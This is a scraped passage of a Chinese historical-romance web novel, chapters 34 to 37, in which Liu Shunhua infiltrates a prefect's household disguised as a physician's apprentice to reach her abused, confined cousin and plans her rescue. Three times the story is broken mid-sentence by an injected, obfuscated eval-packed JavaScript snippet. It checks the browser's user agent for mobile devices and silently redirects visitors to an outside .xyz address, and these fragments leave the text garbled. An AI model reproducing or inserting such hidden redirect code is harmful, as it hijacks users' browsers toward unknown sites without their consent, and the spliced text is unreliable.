贺玄度话入正题,“你今日来可是在刺史府有了什么发现,想要找我帮忙?” 柳舜华点头,“我确信,表姐被刺史府的人给软禁起来了。” 贺玄度:“你没有见到人?” 柳舜华道:“不,正是见到了人才觉得奇怪。” 贺玄度知道柳舜华心细,问道:“怎么个奇怪法?” 柳舜华握紧手,“表姐她……已经被郑充折磨得不成样子,全身都是伤,却不敢让人知晓。” 不等她说完,贺玄度便骂道:“这个郑充,打一个女人,算什么本事,看来昨夜真的是便宜他了。” 柳舜华深吸一口气,“只怕不止于此。今日见到表姐时,她似乎一直想方设法激怒我们,让我们快些离开。我特意留意过,她的一举一动似乎都有人在监视。” 贺玄度眉头一皱,“何以见得?” 柳舜华想了想,“表姐身边的嬷嬷,不对劲。表姐说话之时,眼光总是不经意地瞥向她,好像是在观察她的脸色。莹儿发现表姐被郑充毒打,说要寻刺史说理时,一旁的嬷嬷立即变了神色,下意识地抬起来手。她那动作,分明是想召人过来,以便随时制服我们。” 她忧心忡忡,“我总有一种感觉,此刻的刺史府,已经戒备深严,好像……好像要出什么大事一样。” 贺玄度略一思索,“你想让我如何帮你?” 柳舜华:“我在凉州不认识什么人,根本进不去刺史府。我想让你想想办法,找人进去,打探一下我表姐的情况。” 贺玄度点头,又嘱咐道:“好,我会想办法让人去查探。不过在这之前,你千万别轻举妄动,刺史府不是你能得罪的,知道吗?” 贺玄度看着她,表情严肃认真,全然没了方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882190|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬉笑的神情。 这样的他,像极了前世的贺玄度。 柳舜华有些发怔。 贺玄度被她盯着,不好意思地摸摸头,“柳舜华,我知道,你此刻定是对我敬佩又仰慕,但你到底是女子,能不能矜持一点,别表现得这么明显。” 柳舜华两眼一闭,转过头去。 他总是在最关键的时候,打破对他的幻想。 柳舜华离开后,贺玄度瘫靠在椅背上,吩咐侍从去熬一碗醒酒汤。 周松走了进来,问道:“公子今日怎么喝了这么多,可是有探听到什么消息?” 贺玄度揉着额头,“别提了,他就是一个十足的赌徒,郑刺史所行之事,他应是知之甚少。不过,我还是打听到一个消息。据他说,刺史府最近花销有点大,他似乎想帮着郑刺史敛财。” 周松脸色暗沉,“这帮人真是贪得无厌,还嫌这些年搜刮得不够?” 贺玄度坐直了些,“郑充这边,不必再探了。倒是柳舜华所说之事,或许是条线索。” 周松点头,“柳小姐当真心思细腻,没想到,竟让她看出来了刺史府的端倪。” 贺玄度敛了神色,有一下没一下地敲击着桌面,“自上次诸侯进京,彭城王便动作频繁,这个关头他又派人到凉州,本就不寻常。若真如柳舜华方才所说,那刺史府最近,必有什么大动作。还有,她表姐这个时候被人控制了起来,那她表姐,说不定会知道一些内情。若是能联系上她,或许会有意想不到的收获。” 周松一拍手:“对啊,我怎么没想到。那今晚我去一趟?今日我刚去过,那里我熟。” 贺玄度想了想,“你先去探探路即可,千万不要打草惊蛇,一切小心为上。 等到三更,贺玄度昏昏欲睡,突然听到门外有动静,马上惊醒。 起床一看,果然是周松回来了。 周松一身夜行衣,跑得气喘吁吁。 贺玄度倒了一杯水递过去,他抓起杯子一饮而尽。 贺玄度问:“怎么样?” 周松喘着气,“公子,有……大发现。刺史府里有可疑之人出没,里面有洗劫商队的贼匪。” 贺玄度眉头深锁,“你确定?” 周松咽了下口水,“万都尉根据幸存胡商的描述,找人画了画像,其中一人脸上有块青色的胎记,我看得真切。” 怪不得官府屡次出动都抓不到人,原来是官匪勾结。 只是有一点贺玄度不明白,他们为何要洗劫商队? 彭城王即便再不济,也不至于要靠洗劫商队来支撑他的野心。 烛火摇曳,灯芯噼啪炸开。 贺玄度突然想到了什么,问:“近些日子以来,贼匪洗劫商队共几起?刺史府组织清剿共几次?” 周松认真思索片刻,“贼匪出没洗劫商队,共八起。刺史府前前后后曾出动过五六次吧。” 贺玄度眉头深锁,“我怀疑,贼匪洗劫商队,从头到尾都是一个幌子,刺史府真正的目的,是借着剿匪的名义,将这些人带进凉州城。” 周松一惊,“刺史府竟敢如此行事,他们到底想要做什么?” 贺玄度摇头,他也猜不出对方究竟是什么目的。 不过事关重大,贺玄度不敢耽搁,立即召来侍卫,让他即刻启程,告知城外的万都尉。 安排好一切,贺玄度又问:“柳小姐的表姐那边呢?” 周松啧啧几声,怒骂道:“那个郑充,真不是东西。她那表姐,是真惨啊。我趴在墙头,隔着老远,都能听到她那惨叫。阖府上下,竟没有一个去劝。若不是怕打草惊蛇,我真想冲过去,给他毒打一顿。没用的玩意儿,只会打女人。” 他顿了一下,犹豫道:“我瞧着郑充那个暴虐样,用不了多久,她那表姐,便是不死也要残了。” 贺玄度握紧拳头,“方才不是说不知刺史府的目的嘛,不如就先拿他开刀,试试这里面的深浅。” 周松挠挠头,“公子打算怎么做?” 贺玄度:“他不是喜欢打人吗?好啊,那就打到他再也起不来。” 35. 第 35 章 郑充在街上被人打了,而且打得很惨。 消息是二表哥带回来的。 说是今日一早,郑充在街上不知道发什么疯,将自己的几个随从赶得远远的,嘴里嘟囔着他要通灵,然后突然拿了个布条,蒙住了自己的眼睛。就这么站在街上,神神道道的,也不知道在做什么。不一会,便有个络腮胡子的大汉冲了出来,钳住他的双手,劈头盖脸一顿打。等随从们反应过来赶去抓人时,大汉就在众目睽睽之下,消失了。 传闻实在过于离奇,几人听得一头雾水。 柳舜华疑惑道:“上次见郑充出门,至少有五六个随从,怎么连个人都没抓住?” 陈莹脸上止不住笑,“难不成真是老天都看不下去,显灵了。” 二表哥摇头,“不知道,怪力乱神的,有的说他是被附身了,还有的说是神仙出手,反正现在说什么的都有。” 柳舜华若有所思,“郑充人怎么样了?” 二表哥道:“被打得不轻,鼻青脸肿的,腿都断了,被人抬着回了刺史府。” 陈莹忍不住笑出声,“这个蠢货,活该。他还自己蒙上了眼,这不是明摆着等着人打。我只恨我没在,我要是在,一定要狠狠地给他两拳。” 柳舜华想了想,总有些不放心,“刺史府那边呢,有什么动静?” 二表哥:“说来也奇怪,郑充被抬走后,刺史府的人气势汹汹地去一趟都尉府。” 都尉府,难道这事和贺玄度有关? 陈莹下意识看向柳舜华,不住用眼神示意她。 柳舜华有些坐不住了,“我有急事,要出去一趟。” …… 都尉府内,贺玄度正斜靠在躺椅上,优然地吃着酪浆。 见柳舜华过来,他殷勤递过一碗,“我就猜到你要过来换药了,特意给你留的。” 柳舜华接过酪浆,看了一眼便放下。 还未开口,贺玄度便催促道:“我新研制的口味,你先尝一口试试,赏个脸。” 他仰着头,日光照在他脸上,眉眼带笑。 柳舜华双手不受控制地端起碗来,只见上面漂了些葡萄干,并其他干果,隐隐能闻到蜂蜜的甜香。 她细细尝了一口,只觉满口留香,忍不住又喝了起来。 她原先最喝不惯酪浆,如今被贺玄度一改,倒真是美味。 贺玄度见她一口气喝了个精光,得意道:“怎样,味道不错吧?” “味道是不错。”柳舜华放下碗,又道:“不过,还怎么还有闲心做这些稀奇古怪的吃食?” 贺玄度躺回软椅内,“你这话奇怪,我来凉州就是为了好好放松,为什么没有闲心?” 柳舜华站在椅子前,垂头看着他,“郑充是不是你找人打的?” 贺玄度坐得直了些,一双桃花眼闪着光,“你也听说了,是不是特别解气?我跟你说,你不用谢我,那个郑充,我也看不惯。” 柳舜华瞥了他一眼,贺玄度想法还真是简单。 光天化日之下,就这么打了郑充,还让刺史府的人找上门。 这不明摆着要同刺史府过不去。 她无奈道:“如今都尉府已经同刺史府闹翻,待万都尉归来,你要如何向他解释?” 贺玄度挑眉道:“谁说同刺史府闹翻了?” 柳舜华有些疑惑,“那刺史府过来做什么?” 贺玄度笑道:“郑充被打的时候,我可是远远地站着,人又不是我打的。而且我们都尉府的人进出都有记录,今日除了我,可没人出过府。他郑充被打,那是上天的安排,和我们都尉府有什么关系。刺史府的人问不出个所以然,就走了。” 柳舜华眉头一皱,“就这么简单?” 贺玄度摇晃着椅子,“就是这么简单,他们刺史府算什么东西,没有证据能拿我如何。刺史府那些人,一群酒囊饭袋,多行不义必自毙,就算真与他们闹翻,能是什么坏事?” 柳舜华一愕,贺玄度说得确有几分道理。 以贺玄度的身份,即便真得罪了刺史府,他们确实奈何不了他分毫。 只是他没必要趟这个浑水。 她道:“贺玄度,若是为了我,你其实没必要这么做,我可以自己……” 贺玄度眼皮一翻,打断了她的话,“也不全是因为你,打个人而已,看不惯就打了。” 柳舜华垂下眼眸,她知道,他这么说是为了让她安心。 她不是不识好歹的人,不再提这些,换了一个话题,“听闻说郑充中了邪,自己蒙上眼等人来打,是怎么回事?” 贺玄度果然来了兴致,坐起身道:“今日郑充主动约我,说他想要跟着我学赌技。我就告诉他,只需在人最多的地方,蒙着眼睛听人来人往的动静,只要足够专注,就能灵通,听出骰子的点数,他就自己蒙上了眼。” 不得不说,这辈子的贺玄度虽说总是有些不着调,人也比较单纯,却还是有几分小聪明。 柳舜华又问:“那你找来动手的人呢,怎么就凭空消失了?” 贺玄度笑道:“这个更简单了。其实就是我事先想办法让郑充将他那些随从赶得远远的,又找来一些人混在人群中。等安排好的打手动手,将郑充打趴下后,那些随从看到,从远处跑过来的时候,打手已经趁乱换好了衣饰头巾,塞给我事先安排好的那些人,然后大摇大摆地离开。” 这个方法倒是巧,配合得当,很容易掩人耳目。 贺玄度仰头,“怎么样,我比你想象中的厉害吧?” 柳舜华看着他,眼神诚挚,“在我心里,你一直都是很厉害的人。” 贺玄度不过是随口一说,没想到柳舜华却这么认真。他平日里在外人面前什么样自己不是不知,不觉有些尴尬。 他咳了几声,嘟囔着,“柳舜华,拿出点你的骨气来,这么奉承,我可看不起你啊。” 柳舜华朝他微微一笑,收回目光。 有风吹来,柳舜华抬头,望向庭外高疏的枝头。 那是一株枣树,叶子油亮,青色的果子累累。 她想起了外祖家中的那株枣树,想起了表姐。 当年离开凉州时,院中的枣树已经结出了青色的果子,只需再等一个月,便能吃上。 她扒着马车,哭着不肯上车,表姐安慰她,“蓁蓁不哭,你放心,等院子里的枣子熟了,我一定把最大最甜的一颗留给你。” 马车缓缓驶出巷子,她掀开车帘,看到表姐追在马车后,哭成泪人。 贺玄度虽暂时替她收拾了郑充,可表姐的问题还是没有解决。她必须想办法,将表姐拖出火海才行。 柳舜华回过头,缓缓道:“你的人昨日去了刺史府吧,我表姐她……又挨打了吧?” 贺玄度见她一副伤感的模样,翻身从椅子上坐起,“是,已经去过了,不过只是远远看着,并没见到她。你先别急啊,郑充已经被打得下不了床,你放心,没有十天半个月,他起不来,你表姐暂时不会有事的。” 柳舜华低眸许久,终于抬起头,“贺玄度,你能帮我,我已经很感激了。只是这毕竟是我们家的事,我会自己动手,不想你再牵扯进来。 贺玄度一愣,“你想将你表姐救出来?那可是刺史府,眼下又守备森严,生人根本不可能放行,你要如何进?” 柳舜华一笑,“这得多亏你啊,给了我这个机会。” 贺玄度略一思索,“你是说,医工?” 柳舜华点头,“正是,郑充被打,刺史府必定会请医工上门医治,这是我唯一的机会。” 贺玄度扬眉,“那可真是太巧了,医治郑充的医工,是我舅舅的人。” 柳舜华愕然,怎么会这么巧? 贺玄度歪头笑,“怎么样,是不是又要把我牵扯进来了?柳舜华,好好地帮我上药,我会考虑考虑给你引荐一下。” 柳舜华垂头一笑,让人去拿了药,抓过贺玄度的手,帮他换药。 她顺着他的话,柔声道:“还请贺大公子大发慈悲,帮我引荐。” 贺玄度没有应承,只是问:“引荐之后呢,你想怎么做?” 柳舜华不想瞒着他,如实道:“自然是要跟着一同入刺史府,寻个恰当的时机,接近表姐,弄清原委。” 贺玄度摇头,“若是这样,我恐怕不能让你去。你表姐被刺史府的人监控起来,这里头一定大有文章,若是你被发现,那后果不堪设想,我不能把你往火坑里推。” 他劝道:“我可以寻个可靠的人进去,一定会想办法同你表姐碰面。” 眼下的刺史府,已是暗流涌动,他不能让她涉险。 柳舜华替他包扎了伤口,定定道:“不行,一定要是我才行,表姐她被困许久,已是杯弓蛇影,她不会再轻易相信任何人的。” 她看着他,眸中闪着坚定的光芒,“贺玄度,这是我唯一的机会了,我必须去。你相信我,我会保护好我自己,绝不会给你们都尉府添乱。” 贺玄度一瞬恍觉,柳舜华或许没有他想象的那般脆弱。 他想,他应该相信她。 …… 隔了两日,柳舜华才跟着范神医入了刺史府。 临行前,贺玄度特意找了人,帮她扮了男装,从头到脚装扮得很仔细,只要不开口,几乎没有破绽。 她穿着件粗布衣衫,戴着小帽,一路垂着头。 被迎着一路进了后院正房,柳舜华长吸一口气,不敢有丝毫懈怠。 后院的管事嬷嬷曾见过她,她必须要小心应对。 郑充就躺在床上,手脚都被包裹了起来,一张脸青一块紫一块,肿得像个蒸坏了的包子。 一个十来岁的小丫头正在喂着药,郑充边喝边呜呜地叫着。 管事嬷嬷一把拉开喂药的丫头,骂道:“蠢货,少夫人就是这么调教你的,这药这么苦,还不去拿些糖来。” 那丫头有些委屈,撇着嘴,“五姨,我已经……” 管事嬷嬷瞪了她一眼,她噘着嘴,走到一边去取糖。 柳舜华一看郑充那幅尊容,拼命忍着要笑的冲动,默默垂下头。 管事嬷嬷转向范神医,“范先生,这边请。” 范神医这才走到在床前坐下,柳舜华麻利地递过药箱。 门口的侍从向管事嬷嬷使了个眼色,管事嬷嬷会意,笑道:“范先生身边怎么换了个人?” 柳舜华心下一紧,有些僵硬,一动也不敢动。 范神医从容地施着针,手上的动作并未停,“前几日带的那个,话太多,嘴太碎。替贵人们相看病情,还是话少的好。” 管事嬷嬷点了点头,瞥了一眼柳舜华,柳舜华竭力按下心内的忐忑,索性抬起头,对着她点头示意。 她照过镜子,她的男装应当不会被认出,唯一需要克服的便是自己心内的恐惧。 管事嬷嬷没瞧出什么,对着门口的侍卫摇了摇头。 范神医施完针,柳舜华干净利落地收了针,递上止痛的药膏。 这两日,贺玄度带着她在范神医的医馆内忙活了两日,熟悉各种药材、药膏,以防在刺史府被人察觉出端倪。这种打下手的小事,她私下练了不下百遍,早已烂熟于胸。 管事嬷嬷盯着柳舜华看了片刻,突然道:“范神医,你这个徒弟瞧着有些面善。” 柳舜华递药膏的手,微微一顿,旋即收了回来。 她心如擂鼓,面上却丝毫未显,这种情况下,她只能配合范神医。 果然,范神医只是打开药膏,不动声色地涂抹在郑充的伤处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909631|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我这个徒弟,长得有些秀气,看起来格外和善些,来医馆瞧病的人,都说他面善得像自家亲戚呢。” 范神医微微叹了一口气,“不过,他也是个可怜孩子,前些日子逃荒过来的,还是个哑的,可惜了啊。” 管事嬷嬷瞬间面露遗憾:“我说怎么不说话,原来是个哑的。我方才还想着,人长这么俊,手脚又麻利,想将我那侄女……” 门口咳咳两声,管事嬷嬷遂止住话头。 柳舜华这才松口气,看来这管事嬷嬷并未认出她,只是想套近乎。 范神医涂好药膏,仔细包扎好,叮嘱道:“涂抹药膏后,可能会出现瘙痒的症状,你们要看着些。” 管事嬷嬷看着方才照看的小丫头,“听到没有,给我仔细些。” 范神医扫了一眼那丫头,“还有,伤处莫要碰到脏东西,尤其是汗液,要勤快些,常常擦拭,不能毛手毛脚的,以免渗进水引起炎症。若是照顾不周,只怕会落下什么病根啊。” 那小丫头是个精明的,眼一转,上前道:“嬷嬷,擦洗这些事,以往都是少夫人伺候的。少夫人心细,伺候得又好,我们这些人笨手笨脚的,自然没法比。” 管事嬷嬷一合计,少爷是府内独苗,若有什么差池,她可担待不起,不如就找个垫背的,出了事她也好推脱。 “正是,若论心细周到,你们便是一百个也比不过少夫人。” 范神医捋着胡须,“既如此,那烦请将少夫人请出来,我当面亲自示范一下,以防有失。另外,公子的每日吃食,也需交待一下。” 管事嬷嬷面露难色朝着门外看去,门外的侍卫一时也有些踌躇。 “去,去,去”床上的郑充含糊不清地叫起来。 管事嬷嬷走进,仔细听了片刻,低声问:“公子可是要叫少夫人过来?” 郑充终于疲惫地点点头。 柳舜华心内冷笑,这个时候,倒是想起表姐来了。 管事嬷嬷心下生喜,她正愁如何能脱手,当即让人去请了少夫人。 少顷,陈茵走了进来。她微垂着头,脚步虚浮,依旧是厚厚的一层胭脂,面无表情。 不过才隔几日,柳舜华却察觉,表姐似乎老了许多,鬓角已经生了少许白发。 表姐十六岁出嫁刺史府,如今不过二十而已。 柳舜华鼻尖酸楚,捏紧双手,她生怕一个冲动,忍不住上前朝着郑充挥上几拳。 范神医当着陈茵的面,将郑充的手臂轻轻抬起,细细擦拭了一番,问道:“少夫人可看清了?” 陈茵木然地点着头。 范神医瞥了一眼柳舜华,转身朝着陈茵叮嘱道:“郑少爷这些日子的吃食,要格外注意些,少荤腥,多吃些蔬果。另外,郑少爷此前流了太多血,需要补一补。” “尤其是红枣粥,益多食。这枣也有格外讲究,要选那最大最甜的,还要果肉厚实、皮薄核小的。” 陈茵木然的眸中似乎有了一丝光亮,她抬起头来,望向范神医。 范神医一笑,对着柳舜华道:“我药箱中正好有几颗,你拿给少夫人看,日后煮粥,就要挑选这样的。” 柳舜华打开药箱,将早已准备好的红枣拿出,一步步走向陈茵。 陈茵盯着柳舜华,迷茫的目光一瞬有了光彩。 柳舜华忍着泪,朝着她笑了笑,将红枣递了过去。 管事嬷嬷一把过红枣,仔细瞧了一遍,笑道:“这红枣的确饱满皮薄,就是这核不知是不是也小?” 说罢,两手用力一扯,将红枣掰开。 暗红的果肉里,露出一颗小小的核。 管事嬷嬷呵呵笑着,“果然是上品啊,我看我们府内的都比不上。” 范神医笑道:“这些于你们不过是吃食,于我们而言,却是治病的良药,挑选自然要慎重,马虎不得。” 柳舜华听着两人一对一答,暗暗着急。 虽说今日过来只是探查,但若能寻个时机与表姐说上几句,自是最好。只是没想到,刺史府看管比上次尤甚,根本没有机会。 隔着众人,柳舜华偷瞥向陈茵,陈茵也正焦急地望向她。 突然,她瞧见陈茵抬手摸了摸自己的嘴唇。 柳舜华先是一愣,电光火石之间,她好像明白了什么,微微点了点头。 诊治好郑充,管事嬷嬷送范神医出门,陈茵也跟上来送行。 当着外人的面,管事嬷嬷不好多说,只好让她跟着。 柳舜华背着药箱,跟在范神医身后。 出了卧房,迈下台阶时,只听“哎呀”一声,陈茵一脚踏空,眼看就要从台阶上摔下来。 柳舜华眼疾手快,忙跑过去搀住了她。 陈茵幽幽看了她一眼,用尽全身力气,将一只手死死按在柳舜华的手上。 “少夫人。”管事嬷嬷慌忙叫了起来。 陈茵听到叫她,像是受到了惊吓,一把推开搀着她的柳舜华,身子一歪,倒在地上。 管事嬷嬷上前,“少夫人,你怎么样了?” 陈茵微微颤抖着,摊开了手,一双白嫩的手,鲜血淋漓。 再瞧一旁,一粒尖锐的石子上,同样满是血迹。 范神医见状,上前一步,还未张口,便听管事嬷嬷嚷道:“来人啊,快送少夫人去包扎。” 范神医自然明白管事嬷嬷的意思,道别后带着柳舜华出了府。 一直等到上了马车,范神医叹了口气,“没想到刺史府守备如此严密,竟没有说话的机会。柳小姐,没能帮到你,实在对不住。” 柳舜华摇摇头,感激道:“不,范先生高义,已经帮了我许多。而且,今日并非一无所获。” 她缓缓将手掌摊开,掌心赫然多了个红色的“寿”字。 36. 第 36 章 “寿”字是什么意思,柳舜华一时想不明白。 她暗自揣摩了许久,千头万绪,脑中早已是一团乱麻。 送范神医回到医馆,柳舜华没有立即回去,而是去了都尉府。 这些日子她常来,都尉府的人都已经认识了她,可她此刻穿着男装,又一番乔装打扮,侍卫们认不出她,死活不放她进去。 柳舜华没办法,只得让人进去通禀。 过了许久,才有人带着她进去。 花厅廊下,贺玄度不知道在向周松交待什么,眸色深沉,神情严肃,周身笼罩着一股莫名的压迫感。 看到柳舜华进来,贺玄度脸色一变,又是一副飞扬无羁的模样。 柳舜华一身男装,不似先前假装药童时畏畏缩缩的模样,一双眸子明亮得似凉州城夜空里的星辰,虽有些纤弱,但却身姿端正,颇有几分粉面书生的模样。 贺玄度抱臂看着她,调侃道:“柳大公子,这么快便回来了,事情办得怎么样?” 柳舜华先是一愣,旋即想起她现在依旧是男装,摸着头笑了笑。 “来得匆忙,未来得及换衣服,我有件事想要同你说。” 贺玄度弯腰倒了一杯茶,“跑了许久,不累吗,先喝点再说。” 柳舜华没有接,示意贺玄度将茶杯放下,“今日计划有变,未能同表姐说上话。不过,她却给我留了提示,你看。” 说罢便摊开手掌。 贺玄度凑过去一看,便瞧见她掌心的红字,“寿,什么意思?” 柳舜华摇头,“这是表姐仓促间给我的,可我实在猜不透其中深意。” 贺玄度盯着红字看了许久,“你先别急,你表姐给你这个提示,就是想让你看懂这其中的意思,一定不会太复杂,咱们别往那深了想。” 柳舜华低眸沉思片刻,“你说得对,或许就是字面意思,只是我想不明白,表姐被困,与寿辰或寿宴有什么干系。” 两人正苦思冥想,有侍从走了过来,恭敬道:“公子,刺史府派人送来的请柬。” 贺玄度眼眸一沉,“请柬?呈来。” 侍从递上,贺玄度打开,眼中顿时闪过亮光,兴奋地将请柬递给柳舜华。 柳舜华歪过身子,只一眼,便停在几个大字上:元始六年,四月二十,设宴刺史府,恭候大驾。 三日后,是郑刺史的生辰。 柳舜华激动道:“原来如此,表姐是想提醒我,郑刺史的寿宴,是个脱困的机会。” 距郑刺史的生辰宴,还有三日,她一定要在此前,想到一个完全之策,救表姐出火海。 贺玄度思忖良久,“寿宴当日,刺史府人来人往,守备肯定会松懈,的确是个救人的机会。只是一点,郑刺史的生辰,并不是什么秘密,只要稍加打探,不难知晓。你表姐费尽心机给你这个提示,我总觉得这里面,不太寻常。郑刺史的生辰,难道与你表姐被软禁有关?” 柳舜华从激动中暂缓过来,“你是担心,郑刺史这次的生辰宴,有猫腻?” 贺玄度皱眉,他知晓劝不住她,只道:“我总有种不好的预感,柳舜华,若你想在生辰宴上动手,务必要小心行事。” 柳舜华点头,“你放心,我会小心的。倒是你,这寿宴你去吗?” 贺玄度懒懒道:“前些日子都尉府才同他们闹翻,这会还送帖子过来,宴无好宴,搞不好就是场鸿门宴,我就不上赶着去了。” 他转头歪向柳舜华,“而且,万一你需要人手,我也好赶过去帮忙。都尉府百余人,都是你的后盾。” 柳舜华下意识地拒绝,“不用麻烦,我会想办法。” 贺玄度笑了起来,“既不想请我帮忙,那你过来同我说这些做什么?” 柳舜华一怔,连她自己也没意识到,她已习惯把贺玄度当成最信任的人。但凡她有什么拿不定主意的行动,都会不自觉想同贺玄度商量。 她扭过头,嘴硬道:“我顺路,就过来看看。” 贺玄度脸上浮过一抹深意,笑道:“顺路,过来看看?是看我吗,那怎么你都不肯看我一眼?” 柳舜华退后几步,咳了一声,“天色不早了,我要回去了。” 走得很远,还能听到贺玄度在后面大笑。 自都尉府出来,柳舜华抚胸平静,思索一路。 方才贺玄度面前,她一副胸有成竹的模样,不过是不想他牵扯太深。 她知晓,若想救出表姐,单凭她一人断难以成事。 事到如今,表姐之事,是瞒不住了,也没必要再瞒。 庭院内,风吹过枣树沙沙作响。 柳棠华正拉着二表哥在枣树下下棋,她落错了棋,正拿着棋子耍赖。 看到柳舜华回来,她欢喜道:“姐姐你回来了。” 凉州的生活不似长安,时时拘在后宅。这些时日莹妹妹在教她骑马,大表哥教她打野鸡,二表哥教她下水摸鱼,柳棠华整日里玩得忘我,倒也没有分外黏着柳舜华。 柳舜华靠着柳棠华静静地坐了下来,问道:“大表哥和莹儿呢?” 二表哥抬头道:“他们都刚回来,在喂马呢。” 柳舜华又朝着屋内看了一眼,“舅舅、舅母还有外祖都在吧?” 二表哥觉出不对,放下手中的棋子,“舜华,你是不是有什么事想说?” 柳舜华咬了咬唇,点点头。 二表哥起身,开口道:“是不是大姐的事?” 见柳舜华垂下头,二表哥便知猜对了。 方才她问大哥与莹儿,便已猜出个大概,他沉声道:“我去叫他们到大哥房里,不会惊动父母还有祖父。” 柳棠华第一次见姐姐表情如此凝重,乖乖跟在柳舜华身后,一起到了大表哥房内候着。 等了片刻,三人走了进来。 陈莹挨着柳舜华坐了下来,表哥两人则站在一旁。 许久,柳舜华才缓缓开口,“方才,二表哥也同你们说了吧,是关于表姐的事。” 大表哥拧眉道:“是不是郑充他为难姐姐?” 陈莹见话已经说开,也不再藏着掖着,低声道:“前些日子,我们去了刺史府,姐姐她……她被郑充给打了。” 大表哥攥紧拳头,怒道:“郑家欺人太甚,这个杀千刀的郑充,我现在就去宰了他。” 二表哥皱眉,“既如此,不如禀明外祖与父亲,一同去刺史府说理去。” 柳舜华拦住他们,“你们先别急,听我说,事情没有你们想得那么简单。表姐她,被刺史府给软禁起来了。” “软禁?” 众人面面相觑,明显是没想到竟会是这样。 柳舜华缓缓将她打探到的消息,包括表姐的处境悉数告知。 屋内静得可怕。 许久,陈莹捂着脸呜呜地哭了起来。 她误会了姐姐,她以为,姐姐嫁了高门便看不起他们。 却不知,姐姐刻意疏远,只是为了不连累他们。 姐姐在刺史府受苦受难,她却还在怪她。 那日,还说了那样重的话。 姐姐当时,一定难过极了。 大表哥强自镇定,“他们为何要软禁姐姐?” 柳舜华道:“我也不知,只是他们戒备如此森严,定然是大事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932013|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二表哥低头想了许久,抬头问:“此事,要不要告诉父亲?” “外祖年纪大了,又病着,此事绝不能让他知晓。至于父亲……”大表哥顿了一下,沉声道:“还是不要让他操心了。” 说完,大表哥长叹一口气,挺直了身子,“我是家中长子,出了这种事,我若不撑起陈家的门面,如何对得起祖宗。明日我就去上刺史府,便是死,也要把姐姐给带出来。” 二表哥站了出来,“大哥,你说这话将我置于何地,我也是陈家的男人。若是眼睁睁看着姐姐受苦,让你一个人出头,我还算什么男人?” 陈莹擦干眼泪,“我虽是女子,也是咱们陈家人,一家人就要同患难,共进退,我也去。” 柳棠华一听,当即附和道:“我也要去,我们一起接大姐姐回家。” 柳舜华鼻头酸楚,“好,咱们一起,只是不是明日。” 陈莹急得直跺脚,“为何?多一日姐姐便多受一日苦。” 柳舜华握住她的手,“我知道你着急,可若要救出表姐,还需从长计议。” 大表哥让自己冷静下来,沉思道:“舜华说得有理,若刺史府真有大动静,咱们即便是去,也带不回姐姐,需想个周全的法子才行。” 二表哥颓然坐在床上,“除了硬闯,还能有什么法子?” 柳舜华上前道:“三日后,郑刺史的寿辰,就是个绝佳的机会。” 大表哥猛地一拍头,“是啊,我怎么把这事给忘了。到时候人多眼杂,咱们正好可以趁乱救出姐姐。” 二表哥叹道:“往年他们老太爷在时,还不忘送请柬过来,今年却是连送都不送了,样子都懒得做。没有请柬,咱们如何进得去?” 柳舜华却道:“这是好事,外祖与舅舅不用去,也免得日后有嫌疑。不过,有一点你说得对,如何在寿宴当日混进刺史府,这的确是个大问题。” 众人沉默片刻,陈莹突然眼睛一亮,“我有一个朋友,她可以带我们进去。” 二表哥看着她,问:“你说的是谁,我怎么不知道你有这么厉害的朋友?” 陈莹咳了一声,低声道:“醉月居的古赞丽。” 大表哥愣了一下,恼道:“你和她是朋友,看来平日里没少去那种地方。我说怎么每到夜市的时候就找不到你人,原来是跑到酒肆去胡混。” 陈莹有些心虚,嘟囔着,“大哥,现在不是骂我的时候,等救出了姐姐,我随你骂。” 柳舜华秀眉一扬,“古赞丽,是上次你说的那个舞姬吗?” 上次醉月居内,陈莹与郑充起了冲突,她忙着应付郑充,并未瞧见古赞丽。 陈莹点头:“对,古赞丽是整个凉州城最好的舞姬,刺史府每年节庆都会邀她去。” 二表哥道:“难不成你想我们都扮成舞姬,跟着她混进去?” 陈莹瞥了他一眼,“我可以自己进去救姐姐,你们在外面接应就好。” 大表哥看着两人吵闹,叹了口气,对着一直低头沉思的柳舜华道:“舜华,刺史府你去过,可有什么主意?” 柳舜华抬眸,望向院中的枣树,“我好像,已经想到办法了。” 接下来的两日,陈莹每日都带着柳棠华前去醉月居,两个表哥从外面扛了许多木头回来,柳舜华拿着画好的图纸,对着它们一通切割拼接。 外祖同舅舅看他们忙里忙外,都是一头雾水。 大表哥谎称此前姐姐留下的柜子太旧,要为柳舜华打造一个新柜子。 紧赶慢赶,柜子终于在寿宴之前完工。 众人看着柜子,长舒一口气,只等着明日寿宴的到来。 37. 第 37 章 四月二十,小满方过,天渐渐热了起来。 刺史府门前早已排起了长龙,一整条街被围得水泄不通,热闹非凡。 